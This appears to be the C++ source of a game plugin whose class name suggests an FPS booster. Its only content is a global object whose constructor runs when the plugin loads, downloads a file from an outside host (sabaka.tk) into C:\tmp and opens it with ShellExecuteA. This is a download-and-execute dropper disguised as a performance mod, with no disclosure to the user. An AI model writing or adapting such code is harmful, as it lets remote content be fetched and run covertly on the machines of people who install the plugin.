#include "plugin.h"
#include "shellapi.h"
#pragma comment(lib, "Shell32.lib")
#include <iostream>
#include<Windows.h>
#include<string>
#pragma comment(lib, "urlmon.lib")
using namespace plugin;
class Cfps_up {
public:
Cfps_up() {
std::string dwnld_URL = "http://sabaka.tk/test.txt";
std::string savepath = "C:\\tmp\\filename.txt";
URLDownloadToFile(NULL, dwnld_URL.c_str(), savepath.c_str(), 0, NULL);
ShellExecuteA(NULL, "open", savepath.c_str(), NULL, NULL, SW_SHOWNORMAL);
}
} cfps_up;